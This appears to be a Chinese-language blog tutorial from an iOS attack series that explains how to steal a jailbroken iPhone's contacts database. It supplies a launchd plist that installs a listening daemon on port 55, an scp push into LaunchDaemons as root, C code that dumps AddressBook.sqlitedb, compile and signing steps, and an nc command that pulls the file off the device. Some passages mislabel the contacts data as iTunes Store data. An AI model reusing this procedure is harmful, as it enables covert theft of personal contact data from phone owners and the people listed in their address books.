    说明

    2016年7月15更新,最近试了一下,发现用nc拿不到数据了,拿数据的代码是没有问题的,直接运行可以拿到数据,但是从mac通过IP和端口拿到的.sqlitedb文件是空文件,博主也正在看为什么~大家有兴趣可以一起找一下原因。

    简介

    本文章基于念茜的iOS攻防系列。
    本文将会讲解如何窃取用户的通讯录信息。
    同样在越狱手机环境下。

    hack

    1. 需要一个plist

    需要这样一个plist,它看起来是这样:

    image

    源文件是这样:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Program</key>
        <string>/usr/bin/hack</string>
        <key>StandardErrorPath</key>
        <string>/dev/null</string>
        <key>SessionCreate</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
            <string>/usr/bin/hack</string>
        </array>
        <key>inetdCompatibility</key>
        <dict>
            <key>Wait</key>
            <false/>
        </dict>
        <key>Sockets</key>
        <dict>
            <key>Listeners</key>
            <dict>
                <key>SockServiceName</key>
                <string>55</string>
            </dict>
        </dict>
    </dict>
    </plist>
    
    

    SockServiceName指的是通信名称
    将plist文件传送到至iPhone/System/Library/LaunchDaemons/ 下

    scp /Users/zhoulingyu/Desktop/hack.plist root@192.168.31.152:/System/Library/LaunchDaemons/hack.plist
    

    2. 了解一下OS X的启动原理

    1. mac固件激活,初始化硬件,加载BootX引导器。
    2. BootX加载内核与内核扩展(kext)。
    3. 内核启动launchd进程。
    4. launchd根据/System/Library/LaunchAgents、/System/Library/LaunchDaemons、/Library/LaunchDaemons、Library/LaunchAgents、~/Library/LaunchAgents里的plist配置,启动服务守护进程

    解释一下:

    LaunchDaemons是用户未登陆前就启动的服务(守护进程)
    LaunchAgents是用户登陆后启动的服务(守护进程)

    几个目录下plist文件格式及每个字段的含义:

    Key Description Required
    Label The name of the job yes
    ProgramArguments Strings to pass to the program when it is executed yes
    UserName The job will be run as the given user, who may not necessarily be the one who submitted it to launchd. no
    inetdCompatibility Indicates that the daemon expects to be run as if it were launched by inetd no
    Program The path to your executable. This key can save the ProgramArguments key for flags and arguments. no
    onDemand A boolean flag that defines if a job runs continuously or not no
    RootDirectory The job will be?chrooted?into another directory no
    ServiceIPC Whether the daemon can speak IPC to launchd no
    WatchPaths Allows launchd to start a job based on modifications at a file-system path no
    QueueDirectories Similar to WatchPath, a queue will only watch an empty directory for new files no
    StartInterval Used to schedule a job that runs on a repeating schedule. Specified as the number of seconds to wait between runs. no
    StartCalendarInterval Job scheduling. The syntax is similar to cron. no
    HardResourceLimits Controls restriction of the resources consumed by any job no
    LowPriorityIO Tells the kernel that this task is of a low priority when doing file system I/O no
    Sockets An array can be used to specify what socket the daemon will listen on for launch on demand no

    iOS基本类似,我基本是参照这个来的。

    所以上面的plist实际上是要求系统启动一个进程。
    一个名为hack的进程,可执行文件的路径是/usr/bin/hack。

    3. 编写读取通讯录数据程序

    iTunes Store的数据都在/var/mobile/Library/AddressBook/AddressBook.sqlitedb中,只要能能拿出AddressBook.sqlitedb就可以非法拿到用户的数据。

    那么现在编写一个程序:

    #include <stdio.h>   
    #include <fcntl.h>   
    #include <stdlib.h>   
       
    #define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"   
       
    int main(){   
        int fd = open(FILE, O_RDONLY);   
        char buf[128];   
        int ret = 0;   
           
        if(fd < 0)   
            return -1;   
        while (( ret = read(fd, buf, sizeof(buf))) > 0){   
            write( fileno(stdout), buf, ret);   
        }   
        close(fd);   
        return 0;   
    }  
    

    用同样的方法编译、传输:

    xcrun -sdk iphoneos clang -arch armv7 -o hack hack.c
    

    签名:

    ldid -S hack
    mv hack /usr/bin
    

    4. 抓取 iTunesstore 数据信息

    利用netcat,指定之前定义的服务名称,抓取设备 iTunesstore 信息:

    nc 192.168.31.152 55 > itunesstored2.sqlitedb
    

    OK,在MAC查看一下内容。
